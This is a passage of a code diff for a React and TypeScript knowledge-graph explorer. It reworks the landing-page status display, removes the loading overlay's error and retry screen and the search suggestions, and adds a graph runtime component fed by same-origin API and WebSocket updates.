||||
color: #4cc38a;
|
||||
font: 700 11px/1 "JetBrains Mono", monospace;
|
||||
letter-spacing: 0.1em;
|
||||
text-transform: uppercase;
|
||||
@@ -1346,8 +1323,8 @@ const shellStyles = `
|
||||
}
|
||||
|
||||
@keyframes landing-pulse {
|
||||
0%, 100% { box-shadow: var(--status-shadow-a); }
|
||||
50% { box-shadow: var(--status-shadow-b); }
|
||||
0%, 100% { box-shadow: 0 0 0 3px rgba(76, 195, 138, 0.22), 0 0 12px rgba(76, 195, 138, 0.5); }
|
||||
50% { box-shadow: 0 0 0 5px rgba(76, 195, 138, 0.1), 0 0 20px rgba(76, 195, 138, 0.35); }
|
||||
}
|
||||
|
||||
.workspace-loading {
|
||||
@@ -1517,10 +1494,10 @@ function WelcomeScreen({
|
||||
onOpenDecisions: () => void;
|
||||
onOpenManage: () => void;
|
||||
}) {
|
||||
const [stats, setStats] = useState<{ nodes: number | null; edges: number | null; status: ConnectionStatus }>({
|
||||
const [stats, setStats] = useState<{ nodes: number | null; edges: number | null; ready: boolean }>({
|
||||
nodes: null,
|
||||
edges: null,
|
||||
status: 'checking',
|
||||
ready: false,
|
||||
});
|
||||
|
||||
useEffect(() => {
|
||||
@@ -1530,32 +1507,31 @@ function WelcomeScreen({
|
||||
.then((response) => (response.ok ? response.json() as Promise<GraphStatsPayload> : null))
|
||||
.then((payload) => {
|
||||
if (!payload) {
|
||||
setStats((current) => ({ ...current, status: 'offline' }));
|
||||
setStats((current) => ({ ...current, ready: false }));
|
||||
return;
|
||||
}
|
||||
|
||||
setStats({
|
||||
nodes: getNumberStat(payload, ['node_count', 'nodeCount', 'nodes']),
|
||||
edges: getNumberStat(payload, ['edge_count', 'edgeCount', 'edges']),
|
||||
status: 'online',
|
||||
ready: true,
|
||||
});
|
||||
})
|
||||
.catch((error: unknown) => {
|
||||
if (error instanceof DOMException && error.name === 'AbortError') {
|
||||
return;
|
||||
}
|
||||
setStats((current) => ({ ...current, status: 'offline' }));
|
||||
setStats((current) => ({ ...current, ready: false }));
|
||||
});
|
||||
|
||||
return () => controller.abort();
|
||||
}, []);
|
||||
|
||||
const isOnline = stats.status === 'online';
|
||||
const metrics: LandingMetric[] = [
|
||||
{ label: 'Knowledge nodes', value: formatMetric(stats.nodes, 'Live'), tone: 'cyan' },
|
||||
{ label: 'Relationships mapped', value: formatMetric(stats.edges, 'Ready'), tone: 'mint' },
|
||||
{ label: 'Graph modes', value: '3', tone: 'amber' },
|
||||
{ label: isOnline ? 'Dataset online' : 'Ready to explore', value: isOnline ? 'Active' : 'Standby', tone: 'rose' },
|
||||
{ label: stats.ready ? 'Dataset online' : 'Ready to explore', value: stats.ready ? 'Active' : 'Standby', tone: 'rose' },
|
||||
];
|
||||
|
||||
const secondaryLaunchers: LandingAction[] = [
|
||||
@@ -1598,9 +1574,9 @@ function WelcomeScreen({
|
||||
{/* ── Hero ── */}
|
||||
<section className="landing-hero">
|
||||
<div className="landing-copy">
|
||||
<div className="landing-status-bar" data-status={stats.status}>
|
||||
<div className="landing-status-bar">
|
||||
<div className="landing-status-dot" />
|
||||
<span className="landing-status-text">{CONNECTION_STATUS_LABEL[stats.status]}</span>
|
||||
<span className="landing-status-text">System Online</span>
|
||||
<div className="landing-status-divider" />
|
||||
<span className="landing-status-version">Semantica v2 · Semantic Intelligence</span>
|
||||
</div>
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
import { useEffect, useRef, useState, type CSSProperties } from "react";
|
||||
import { AlertTriangle, RefreshCw } from "lucide-react";
|
||||
|
||||
import { GRAPH_THEME, withAlpha } from "./graphTheme";
|
||||
import { GRAPH_LOAD_STAGE_SEQUENCE, createGraphLoadProgress, getGraphLoadStageLabel } from "./graphLoading";
|
||||
@@ -122,58 +121,6 @@ const LOADING_OVERLAY_CSS = `
|
||||
0% { transform: translateX(-120%); }
|
||||
100% { transform: translateX(360%); }
|
||||
}
|
||||
.graph-stage-loader-card[data-error="true"] {
|
||||
pointer-events: auto;
|
||||
border-color: rgba(255, 123, 114, 0.32);
|
||||
background:
|
||||
radial-gradient(circle at top left, rgba(255, 123, 114, 0.12), transparent 32%),
|
||||
linear-gradient(145deg, rgba(7, 17, 31, 0.96), rgba(24, 14, 18, 0.86));
|
||||
}
|
||||
.graph-stage-loader-error-mark {
|
||||
width: 38px;
|
||||
height: 38px;
|
||||
flex: 0 0 auto;
|
||||
border-radius: 12px;
|
||||
display: grid;
|
||||
place-items: center;
|
||||
color: #ff9e97;
|
||||
background: rgba(255, 123, 114, 0.12);
|
||||
border: 1px solid rgba(255, 123, 114, 0.28);
|
||||
}
|
||||
.graph-stage-loader-error-detail {
|
||||
padding: 10px 12px;
|
||||
border-radius: 10px;
|
||||
background: rgba(0, 0, 0, 0.32);
|
||||
border: 1px solid rgba(255, 123, 114, 0.18);
|
||||
color: #ffb4ae;
|
||||
font-family: "JetBrains Mono", "Fira Code", Consolas, monospace;
|
||||
font-size: 12px;
|
||||
line-height: 1.55;
|
||||
word-break: break-word;
|
||||
}
|
||||
.graph-stage-loader-retry {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 7px;
|
||||
padding: 9px 16px;
|
||||
border-radius: 8px;
|
||||
font-size: 13px;
|
||||
font-weight: 700;
|
||||
cursor: pointer;
|
||||
border: 1px solid rgba(127, 208, 255, 0.4);
|
||||
background: linear-gradient(135deg, rgba(74, 163, 255, 0.28), rgba(56, 210, 160, 0.16));
|
||||
color: #e8f6ff;
|
||||
transition: 160ms ease;
|
||||
}
|
||||
.graph-stage-loader-retry:hover {
|
||||
border-color: rgba(127, 208, 255, 0.62);
|
||||
background: linear-gradient(135deg, rgba(74, 163, 255, 0.4), rgba(56, 210, 160, 0.24));
|
||||
transform: translateY(-1px);
|
||||
}
|
||||
.graph-stage-loader-retry:focus-visible {
|
||||
outline: 2px solid #7fd0ff;
|
||||
outline-offset: 2px;
|
||||
}
|
||||
`;
|
||||
|
||||
function formatLayoutSource(source: GraphLoadProgress["layoutSource"]) {
|
||||
@@ -223,14 +170,10 @@ export function GraphLoadingOverlay({
|
||||
progress,
|
||||
visible,
|
||||
showGraphBehind,
|
||||
error = null,
|
||||
onRetry,
|
||||
}: {
|
||||
progress: GraphLoadProgress | null;
|
||||
visible: boolean;
|
||||
showGraphBehind: boolean;
|
||||
error?: string | null;
|
||||
onRetry?: () => void;
|
||||
}) {
|
||||
const [renderVisible, setRenderVisible] = useState(visible);
|
||||
const [exiting, setExiting] = useState(false);
|
||||
@@ -283,44 +226,6 @@ export function GraphLoadingOverlay({
|
||||
return null;
|
||||
}
|
||||
|
||||
if (error) {
|
||||
return (
|
||||
<div
|
||||
className="graph-stage-loader"
|
||||
data-exiting={exiting}
|
||||
style={{ background: "linear-gradient(180deg, rgba(1,4,9,0.22), rgba(1,4,9,0.5))" }}
|
||||
>
|
||||
<style>{LOADING_OVERLAY_CSS}</style>
|
||||
<div className="graph-stage-loader-card" data-error="true" role="alert">
|
||||
<div style={{ display: "flex", alignItems: "flex-start", gap: 14, marginBottom: 14 }}>
|
||||
<div className="graph-stage-loader-error-mark" aria-hidden="true">
|
||||
<AlertTriangle size={18} strokeWidth={2.2} />
|
||||
</div>
|
||||
<div style={{ minWidth: 0 }}>
|
||||
<div style={{ color: "#ffffff", fontSize: 20, fontWeight: 700, letterSpacing: "-0.03em", marginBottom: 6 }}>
|
||||
Could not load the graph
|
||||
</div>
|
||||
<div style={{ color: "#8fa8c6", fontSize: 13, lineHeight: 1.5 }}>
|
||||
The Explorer API did not return graph data. Check that the backend is running and reachable, then try again.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="graph-stage-loader-error-detail">{error}</div>
|
||||
|
||||
{onRetry ? (
|
||||
<div style={{ display: "flex", gap: 10, marginTop: 16 }}>
|
||||
<button type="button" className="graph-stage-loader-retry" onClick={onRetry}>
|
||||
<RefreshCw size={14} strokeWidth={2.2} aria-hidden />
|
||||
Retry
|
||||
</button>
|
||||
</div>
|
||||
) : null}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const activeProgress = progress ?? displayProgress;
|
||||
const isLiveStage = activeProgress.phase === "stabilizing_layout" || activeProgress.showGraphBehind || showGraphBehind;
|
||||
const overlayBackground = isLiveStage
|
||||
|
||||
@@ -0,0 +1,479 @@
|
||||
import { forwardRef, useEffect, useImperativeHandle, useMemo, useRef, useState } from "react";
|
||||
|
||||
import { batchMergeEdges, batchMergeNodes, clearGraph, graph, type EdgeAttributes, type NodeAttributes } from "../../store/graphStore";
|
||||
import { SigmaSceneAdapter } from "./SigmaSceneAdapter";
|
||||
import { createGraphLoadProgress } from "./graphLoading";
|
||||
import { resolveDisplayGraph } from "./graphSceneState";
|
||||
import {
|
||||
chooseColorAccessor,
|
||||
colorForNodeKey,
|
||||
computeDegreeMap,
|
||||
computeEdgeSize,
|
||||
computeNodeSize,
|
||||
computePageRank,
|
||||
deterministicPosition,
|
||||
} from "./graphAnalytics";
|
||||
import { GRAPH_THEME } from "./graphConfig";
|
||||
import type { GraphSceneHandle } from "./scene";
|
||||
import type {
|
||||
GraphDataSnapshot,
|
||||
GraphEffectsState,
|
||||
GraphLayoutSource,
|
||||
GraphLayoutStatus,
|
||||
GraphLoadProgress,
|
||||
GraphPath,
|
||||
GraphSelectedNodeState,
|
||||
GraphStageHandle,
|
||||
GraphViewMode,
|
||||
} from "./types";
|
||||
|
||||
const STAGE_EFFECTS_STATE: GraphEffectsState = {
|
||||
pathPulseEnabled: false,
|
||||
pathFlowEnabled: false,
|
||||
lensEnabled: false,
|
||||
temporalEmphasisEnabled: false,
|
||||
semanticRegionsEnabled: false,
|
||||
contoursEnabled: false,
|
||||
pathfindingEnabled: false,
|
||||
communitiesEnabled: false,
|
||||
centralityEnabled: false,
|
||||
legendEnabled: false,
|
||||
diagnosticsEnabled: false,
|
||||
lensMode: "neighborhood",
|
||||
effectQuality: "bounded",
|
||||
};
|
||||
const EMPTY_PATH: string[] = [];
|
||||
|
||||
const socketProtocol = () => (window.location.protocol === "https:" ? "wss:" : "ws:");
|
||||
|
||||
function yieldToMain(): Promise<void> {
|
||||
if ("scheduler" in window && typeof (window as Window & { scheduler?: { yield?: () => Promise<void> } }).scheduler?.yield === "function") {
|
||||
return (window as Window & { scheduler: { yield: () => Promise<void> } }).scheduler.yield();
|
||||
}
|
||||
return new Promise((resolve) => setTimeout(resolve, 0));
|
||||
}
|
||||
|
||||
function buildSelectedNodeState(nodeId: string): GraphSelectedNodeState | null {
|
||||
if (!nodeId || !graph.hasNode(nodeId)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const attributes = graph.getNodeAttributes(nodeId) as NodeAttributes;
|
||||
return {
|
||||
id: nodeId,
|
||||
label: String(attributes.label || nodeId),
|
||||
content: String(attributes.content || attributes.label || nodeId),
|
||||
nodeType: attributes.nodeType || "entity",
|
||||
color: attributes.color,
|
||||
valid_from: attributes.valid_from ?? null,
|
||||
valid_until: attributes.valid_until ?? null,
|
||||
properties: attributes.properties ?? {},
|
||||
neighborCount: graph.neighbors(nodeId).length,
|
||||
visibleNeighborCount: graph.neighbors(nodeId).length,
|
||||
collapsedNeighborCount: 0,
|
||||
isNeighborhoodCollapsed: false,
|
||||
canCollapseNeighborhood: graph.neighbors(nodeId).length > 8,
|
||||
};
|
||||
}
|
||||
|
||||
function hasUsableCoordinate(value: unknown): value is number {
|
||||
return typeof value === "number" && Number.isFinite(value);
|
||||
}
|
||||
|
||||
interface GraphRuntimeStageProps {
|
||||
snapshot: GraphDataSnapshot | null | undefined;
|
||||
selectedNodeId: string;
|
||||
activePath: GraphPath;
|
||||
onNodeSelect: (nodeId: string) => void;
|
||||
onSelectedNodeStateChange: (state: GraphSelectedNodeState | null) => void;
|
||||
isLayoutRunning: boolean;
|
||||
onLayoutRunningChange: (running: boolean) => void;
|
||||
viewMode: GraphViewMode;
|
||||
temporalTime: Date | null;
|
||||
onActiveNodeCountChange: (count: number | null) => void;
|
||||
onProgressChange: (progress: GraphLoadProgress | null) => void;
|
||||
onLayoutStatusChange: (status: GraphLayoutStatus) => void;
|
||||
onRuntimeReady: () => void;
|
||||
}
|
||||
|
||||
export const GraphRuntimeStage = forwardRef<GraphStageHandle, GraphRuntimeStageProps>(
|
||||
function GraphRuntimeStage(
|
||||
{
|
||||
snapshot,
|
||||
selectedNodeId,
|
||||
activePath,
|
||||
onNodeSelect,
|
||||
onSelectedNodeStateChange,
|
||||
isLayoutRunning,
|
||||
onLayoutRunningChange,
|
||||
viewMode,
|
||||
temporalTime,
|
||||
onActiveNodeCountChange,
|
||||
onProgressChange,
|
||||
onLayoutStatusChange,
|
||||
onRuntimeReady,
|
||||
},
|
||||
ref,
|
||||
) {
|
||||
const sceneRef = useRef<GraphSceneHandle>(null);
|
||||
const prevActiveIdsRef = useRef<Set<string>>(new Set());
|
||||
const [graphVersion, setGraphVersion] = useState(0);
|
||||
const [runtimeLayoutSource, setRuntimeLayoutSource] = useState<GraphLayoutSource>(snapshot?.summary.layoutSource ?? "runtime");
|
||||
const displayResult = useMemo(
|
||||
() => resolveDisplayGraph(selectedNodeId, activePath, EMPTY_PATH, viewMode, { aggregationEnabled: true }),
|
||||
[activePath, graphVersion, selectedNodeId, viewMode],
|
||||
);
|
||||
|
||||
const stageSignature = useMemo(() => (snapshot ? `${snapshot.fetchedAt}:${snapshot.summary.nodeCount}:${snapshot.summary.edgeCount}` : null), [snapshot]);
|
||||
|
||||
useImperativeHandle(ref, () => ({
|
||||
fitView: () => sceneRef.current?.fitView(),
|
||||
focusNode: (nodeId: string) => sceneRef.current?.focusNode(nodeId),
|
||||
}), []);
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
|
||||
async function hydrateSnapshot() {
|
||||
if (!snapshot) {
|
||||
return;
|
||||
}
|
||||
|
||||
onProgressChange(createGraphLoadProgress({
|
||||
phase: "computing_styling",
|
||||
progressKind: "indeterminate",
|
||||
nodesLoaded: snapshot.summary.nodeCount,
|
||||
nodesTotal: snapshot.summary.nodeCount,
|
||||
edgesLoaded: snapshot.summary.edgeCount,
|
||||
edgesTotal: snapshot.summary.edgeCount,
|
||||
message: "Computing runtime graph styling",
|
||||
showGraphBehind: false,
|
||||
}));
|
||||
|
||||
const degreeByNode = computeDegreeMap(snapshot.nodes, snapshot.edges);
|
||||
const pageRankByNode = computePageRank(snapshot.nodes, snapshot.edges);
|
||||
const nodeIndexById = new Map(snapshot.nodes.map((node, index) => [node.id, index]));
|
||||
const previousPositions = new Map<string, { x: number; y: number }>();
|
||||
|
||||
graph.forEachNode((nodeId, attributes) => {
|
||||
const raw = attributes as Partial<NodeAttributes>;
|
||||
const x = Number(raw.x);
|
||||
const y = Number(raw.y);
|
||||
if (Number.isFinite(x) && Number.isFinite(y)) {
|
||||
previousPositions.set(nodeId, { x, y });
|
||||
}
|
||||
});
|
||||
|
||||
let explicitCoordinateCount = 0;
|
||||
let carriedCoordinateCount = 0;
|
||||
const draftAttributes = snapshot.nodes.map((node) => {
|
||||
const previousPosition = previousPositions.get(node.id);
|
||||
const position = hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)
|
||||
? { x: node.x, y: node.y }
|
||||
: previousPosition
|
||||
? previousPosition
|
||||
: deterministicPosition(node.id, nodeIndexById.get(node.id) ?? 0, snapshot.nodes.length);
|
||||
|
||||
if (hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)) {
|
||||
explicitCoordinateCount += 1;
|
||||
} else if (previousPosition) {
|
||||
carriedCoordinateCount += 1;
|
||||
}
|
||||
|
||||
return {
|
||||
id: node.id,
|
||||
attributes: {
|
||||
label: node.content || node.id,
|
||||
x: position.x,
|
||||
y: position.y,
|
||||
nodeType: node.type,
|
||||
content: node.content,
|
||||
valid_from: node.valid_from,
|
||||
valid_until: node.valid_until,
|
||||
properties: node.properties,
|
||||
} as NodeAttributes,
|
||||
};
|
||||
});
|
||||
|
||||
const layoutSource: GraphLayoutSource = explicitCoordinateCount > 0
|
||||
? "provided"
|
||||
: carriedCoordinateCount > 0
|
||||
? "carried"
|
||||
: "runtime";
|
||||
const hasCoordinates = explicitCoordinateCount > 0 || carriedCoordinateCount > 0;
|
||||
setRuntimeLayoutSource(layoutSource);
|
||||
|
||||
const colorAccessor = chooseColorAccessor(draftAttributes);
|
||||
await yieldToMain();
|
||||
if (cancelled) {
|
||||
return;
|
||||
}
|
||||
|
||||
onProgressChange(createGraphLoadProgress({
|
||||
phase: "hydrating_scene",
|
||||
progressKind: "indeterminate",
|
||||
nodesLoaded: snapshot.summary.nodeCount,
|
||||
nodesTotal: snapshot.summary.nodeCount,
|
||||
edgesLoaded: snapshot.summary.edgeCount,
|
||||
edgesTotal: snapshot.summary.edgeCount,
|
||||
message: "Hydrating graph scene and renderer",
|
||||
showGraphBehind: false,
|
||||
}));
|
||||
|
||||
const nodesToMerge = draftAttributes.map(({ id, attributes }) => {
|
||||
const colorKey = colorAccessor(id, attributes);
|
||||
const baseColor = colorForNodeKey(colorKey);
|
||||
const dynamicSize = computeNodeSize(id, degreeByNode, pageRankByNode);
|
||||
return {
|
||||
id,
|
||||
attributes: {
|
||||
...attributes,
|
||||
color: baseColor,
|
||||
baseColor,
|
||||
size: dynamicSize,
|
||||
baseSize: dynamicSize,
|
||||
degree: degreeByNode.get(id) ?? 0,
|
||||
pageRank: pageRankByNode.get(id) ?? 0,
|
||||
glowColor: baseColor,
|
||||
borderColor: GRAPH_THEME.nodes.border,
|
||||
borderSize: 1,
|
||||
} as NodeAttributes,
|
||||
};
|
||||
});
|
||||
|
||||
const edgesToMerge = snapshot.edges.map((edge) => ({
|
||||
id: edge.id,
|
||||
familyId: edge.familyId,
|
||||
source: edge.source,
|
||||
target: edge.target,
|
||||
attributes: {
|
||||
edgeId: edge.id,
|
||||
familyId: edge.familyId,
|
||||
sourceId: edge.source,
|
||||
targetId: edge.target,
|
||||
weight: edge.weight,
|
||||
edgeType: edge.type,
|
||||
properties: edge.properties,
|
||||
size: computeEdgeSize(edge.weight),
|
||||
baseSize: computeEdgeSize(edge.weight),
|
||||
color: GRAPH_THEME.edges.baseColor,
|
||||
baseColor: GRAPH_THEME.edges.baseColor,
|
||||
} as EdgeAttributes,
|
||||
}));
|
||||
|
||||
clearGraph();
|
||||
batchMergeNodes(nodesToMerge);
|
||||
batchMergeEdges(edgesToMerge);
|
||||
prevActiveIdsRef.current = new Set(snapshot.nodes.map((node) => node.id));
|
||||
|
||||
await yieldToMain();
|
||||
if (cancelled) {
|
||||
return;
|
||||
}
|
||||
|
||||
onLayoutStatusChange({
|
||||
state: layoutSource === "runtime" ? "bootstrapping" : "interactive",
|
||||
source: layoutSource,
|
||||
hasCoordinates,
|
||||
layoutReady: layoutSource !== "runtime",
|
||||
displacement: null,
|
||||
elapsedMs: 0,
|
||||
stableSamples: 0,
|
||||
});
|
||||
|
||||
onLayoutRunningChange(layoutSource === "runtime");
|
||||
if (selectedNodeId) {
|
||||
sceneRef.current?.focusNode(selectedNodeId);
|
||||
} else {
|
||||
sceneRef.current?.getRuntime()?.requestRender();
|
||||
}
|
||||
setGraphVersion((current) => current + 1);
|
||||
if (layoutSource !== "runtime") {
|
||||
onProgressChange(null);
|
||||
} else {
|
||||
onProgressChange(createGraphLoadProgress({
|
||||
phase: "stabilizing_layout",
|
||||
progressKind: "indeterminate",
|
||||
nodesLoaded: snapshot.summary.nodeCount,
|
||||
nodesTotal: snapshot.summary.nodeCount,
|
||||
edgesLoaded: snapshot.summary.edgeCount,
|
||||
edgesTotal: snapshot.summary.edgeCount,
|
||||
message: "Settling runtime layout",
|
||||
showGraphBehind: true,
|
||||
layoutSource,
|
||||
layoutState: "bootstrapping",
|
||||
}));
|
||||
}
|
||||
onRuntimeReady();
|
||||
}
|
||||
|
||||
void hydrateSnapshot();
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [onLayoutRunningChange, onLayoutStatusChange, onProgressChange, onRuntimeReady, selectedNodeId, snapshot, stageSignature]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!selectedNodeId) {
|
||||
onSelectedNodeStateChange(null);
|
||||
return;
|
||||
}
|
||||
|
||||
onSelectedNodeStateChange(buildSelectedNodeState(selectedNodeId));
|
||||
}, [graphVersion, onSelectedNodeStateChange, selectedNodeId, viewMode]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!snapshot || !temporalTime) {
|
||||
return;
|
||||
}
|
||||
|
||||
let cancelled = false;
|
||||
|
||||
const applySnapshot = async () => {
|
||||
try {
|
||||
const response = await fetch(`/api/temporal/snapshot?at=${encodeURIComponent(temporalTime.toISOString())}`);
|
||||
if (!response.ok || cancelled) {
|
||||
return;
|
||||
}
|
||||
|
||||
const data: { active_node_ids: string[]; active_node_count: number } = await response.json();
|
||||
if (cancelled) {
|
||||
return;
|
||||
}
|
||||
|
||||
const nextActiveIds = new Set(data.active_node_ids);
|
||||
requestAnimationFrame(() => {
|
||||
if (cancelled) {
|
||||
return;
|
||||
}
|
||||
|
||||
const previous = prevActiveIdsRef.current;
|
||||
previous.forEach((id) => {
|
||||
if (!nextActiveIds.has(id) && graph.hasNode(id)) {
|
||||
graph.setNodeAttribute(id, "hidden", true);
|
||||
}
|
||||
});
|
||||
nextActiveIds.forEach((id) => {
|
||||
if (graph.hasNode(id)) {
|
||||
graph.setNodeAttribute(id, "hidden", false);
|
||||
}
|
||||
});
|
||||
|
||||
prevActiveIdsRef.current = nextActiveIds;
|
||||
onActiveNodeCountChange(data.active_node_count);
|
||||
sceneRef.current?.getRuntime()?.requestRender();
|
||||
});
|
||||
} catch (error) {
|
||||
if (!cancelled) {
|
||||
console.error("[GraphRuntimeStage] temporal snapshot failed", error);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
void applySnapshot();
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [onActiveNodeCountChange, snapshot, temporalTime]);
|
||||
|
||||
useEffect(() => {
|
||||
const socket = new WebSocket(`${socketProtocol()}//${window.location.host}/ws/graph-updates`);
|
||||
|
||||
socket.onmessage = (event) => {
|
||||
try {
|
||||
const message = JSON.parse(event.data);
|
||||
if (message.event === "connection_ack" || message.event !== "graph_mutation") {
|
||||
return;
|
||||
}
|
||||
|
||||
const eventType = message.data?.event_type;
|
||||
const payload = message.data?.payload;
|
||||
if (eventType === "ADD_NODE" && payload?.id) {
|
||||
batchMergeNodes([
|
||||
{
|
||||
id: payload.id,
|
||||
attributes: {
|
||||
label: payload.properties?.content || payload.id,
|
||||
x: Number.isFinite(Number(payload.x ?? payload.properties?.x))
|
||||
? Number(payload.x ?? payload.properties?.x)
|
||||
: deterministicPosition(payload.id, graph.order + 1, Math.max(graph.order + 1, 1)).x,
|
||||
y: Number.isFinite(Number(payload.y ?? payload.properties?.y))
|
||||
? Number(payload.y ?? payload.properties?.y)
|
||||
: deterministicPosition(payload.id, graph.order + 1, Math.max(graph.order + 1, 1)).y,
|
||||
nodeType: payload.type,
|
||||
content: payload.properties?.content || payload.id,
|
||||
valid_from: payload.properties?.valid_from ?? null,
|
||||
valid_until: payload.properties?.valid_until ?? null,
|
||||
properties: payload.properties || {},
|
||||
size: 8,
|
||||
color: colorForNodeKey(`${payload.type || "entity"}:${payload.id}`),
|
||||
baseColor: colorForNodeKey(`${payload.type || "entity"}:${payload.id}`),
|
||||
baseSize: 8,
|
||||
glowColor: colorForNodeKey(`${payload.type || "entity"}:${payload.id}`),
|
||||
borderColor: GRAPH_THEME.nodes.border,
|
||||
borderSize: 1,
|
||||
},
|
||||
},
|
||||
]);
|
||||
}
|
||||
|
||||
if (eventType === "ADD_EDGE" && payload?.source_id && payload?.target_id) {
|
||||
batchMergeEdges([
|
||||
{
|
||||
id: String(payload.id),
|
||||
familyId: payload.familyId ? String(payload.familyId) : String(payload.id),
|
||||
source: payload.source_id,
|
||||
target: payload.target_id,
|
||||
attributes: {
|
||||
edgeId: String(payload.id),
|
||||
familyId: payload.familyId ? String(payload.familyId) : String(payload.id),
|
||||
sourceId: payload.source_id,
|
||||
targetId: payload.target_id,
|
||||
weight: Number(payload.weight ?? 1),
|
||||
edgeType: payload.type,
|
||||
properties: payload.properties || {},
|
||||
size: computeEdgeSize(Number(payload.weight ?? 1)),
|
||||
baseSize: computeEdgeSize(Number(payload.weight ?? 1)),
|
||||
color: payload.properties?.inferred ? GRAPH_THEME.edges.pathColor : GRAPH_THEME.edges.baseColor,
|
||||
baseColor: GRAPH_THEME.edges.baseColor,
|
||||
},
|
||||
},
|
||||
]);
|
||||
}
|
||||
|
||||
sceneRef.current?.getRuntime()?.requestRender();
|
||||
setGraphVersion((current) => current + 1);
|
||||
} catch (error) {
|
||||
console.error("[GraphRuntimeStage] websocket update failed", error);
|
||||
}
|
||||
};
|
||||
|
||||
return () => {
|
||||
socket.close();
|
||||
};
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<SigmaSceneAdapter
|
||||
ref={sceneRef}
|
||||
onNodeSelect={onNodeSelect}
|
||||
graphVersion={graphVersion}
|
||||
graphReady={Boolean(snapshot)}
|
||||
displayGraph={displayResult.graph}
|
||||
displayMeta={displayResult.meta}
|
||||
displayState={displayResult.state}
|
||||
selectedEdgeId=""
|
||||
selectedNodeId={selectedNodeId}
|
||||
focusedNodeId={viewMode === "focused" ? selectedNodeId : ""}
|
||||
activePath={activePath}
|
||||
activePathEdgeIds={EMPTY_PATH}
|
||||
effectsState={STAGE_EFFECTS_STATE}
|
||||
isLayoutRunning={isLayoutRunning}
|
||||
onLayoutRunningChange={onLayoutRunningChange}
|
||||
layoutSource={runtimeLayoutSource}
|
||||
onLayoutStatusChange={onLayoutStatusChange}
|
||||
viewMode={viewMode}
|
||||
/>
|
||||
);
|
||||
},
|
||||
);
|
||||
@@ -1,4 +1,4 @@
|
||||
import { useCallback, useEffect, useId, useMemo, useRef, useState, type ComponentType, type ReactNode } from "react";
|
||||
import { useCallback, useEffect, useMemo, useRef, useState, type ComponentType, type ReactNode } from "react";
|
||||
import {
|
||||
Activity,
|
||||
Clock3,
|
||||
@@ -12,7 +12,6 @@ import {
|
||||
RefreshCw,
|
||||
Search,
|
||||
Users,
|
||||
X,
|
||||
ZoomIn,
|
||||
ZoomOut,
|
||||
} from "lucide-react";
|
||||
@@ -39,7 +38,6 @@ import {
|
||||
type GraphPluginPanelDescriptor,
|
||||
type GraphPluginToolbarItem,
|
||||
} from "./plugins";
|
||||
import { explorationEffectsShouldLoad, neighborhoodPanelShouldLoad, temporalOverlayShouldLoad } from "./pluginRegistryPredicates";
|
||||
import type { LinkPrediction, PathResponse } from "./GraphInspectorPanel";
|
||||
import type { GraphSceneHandle, GraphSceneRuntime } from "./scene";
|
||||
import type {
|
||||
@@ -128,7 +126,7 @@ type LazyPluginRegistryEntry = {
|
||||
load: () => Promise<GraphPlugin>;
|
||||
shouldLoad: (context: {
|
||||
panelState: Record<string, boolean>;
|
||||
temporalState?: GraphTemporalState | null;
|
||||
temporalState: GraphTemporalState | null;
|
||||
}) => boolean;
|
||||
};
|
||||
|
||||
@@ -283,168 +281,37 @@ function SegmentedModeControl({ items }: { items: GraphToolbarItem[] }) {
|
||||
);
|
||||
}
|
||||
|
||||
const SUGGESTION_DEBOUNCE_MS = 250;
|
||||
const SUGGESTION_LIMIT = 6;
|
||||
|
||||
function SearchCommandBar({
|
||||
value,
|
||||
disabled,
|
||||
onChange,
|
||||
onSubmit,
|
||||
onSelectSuggestion,
|
||||
}: {
|
||||
value: string;
|
||||
disabled: boolean;
|
||||
onChange: (value: string) => void;
|
||||
onSubmit: () => void;
|
||||
onSelectSuggestion: (result: SearchResult) => void;
|
||||
}) {
|
||||
const [suggestions, setSuggestions] = useState<SearchResult[]>([]);
|
||||
const [suggestionsOpen, setSuggestionsOpen] = useState(false);
|
||||
const [highlightedIndex, setHighlightedIndex] = useState(-1);
|
||||
const abortRef = useRef<AbortController | null>(null);
|
||||
const debounceRef = useRef<number | null>(null);
|
||||
const listboxId = useId();
|
||||
|
||||
useEffect(() => {
|
||||
if (debounceRef.current !== null) {
|
||||
window.clearTimeout(debounceRef.current);
|
||||
}
|
||||
|
||||
const query = value.trim();
|
||||
if (disabled || !query) {
|
||||
abortRef.current?.abort();
|
||||
setSuggestions([]);
|
||||
setSuggestionsOpen(false);
|
||||
setHighlightedIndex(-1);
|
||||
return;
|
||||
}
|
||||
|
||||
debounceRef.current = window.setTimeout(() => {
|
||||
abortRef.current?.abort();
|
||||
const controller = new AbortController();
|
||||
abortRef.current = controller;
|
||||
|
||||
fetch("/api/graph/search", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ query, limit: SUGGESTION_LIMIT }),
|
||||
signal: controller.signal,
|
||||
})
|
||||
.then((response) => {
|
||||
if (!response.ok) {
|
||||
throw new Error(`Search failed with status ${response.status}`);
|
||||
}
|
||||
return response.json();
|
||||
})
|
||||
.then((data: { results?: SearchResult[] }) => {
|
||||
setSuggestions(data.results ?? []);
|
||||
setSuggestionsOpen(true);
|
||||
setHighlightedIndex(-1);
|
||||
})
|
||||
.catch((suggestionError: unknown) => {
|
||||
if (suggestionError instanceof DOMException && suggestionError.name === "AbortError") {
|
||||
return;
|
||||
}
|
||||
setSuggestions([]);
|
||||
setSuggestionsOpen(false);
|
||||
setHighlightedIndex(-1);
|
||||
});
|
||||
}, SUGGESTION_DEBOUNCE_MS);
|
||||
|
||||
return () => {
|
||||
if (debounceRef.current !== null) {
|
||||
window.clearTimeout(debounceRef.current);
|
||||
}
|
||||
abortRef.current?.abort();
|
||||
};
|
||||
}, [value, disabled]);
|
||||
|
||||
const closeSuggestions = () => {
|
||||
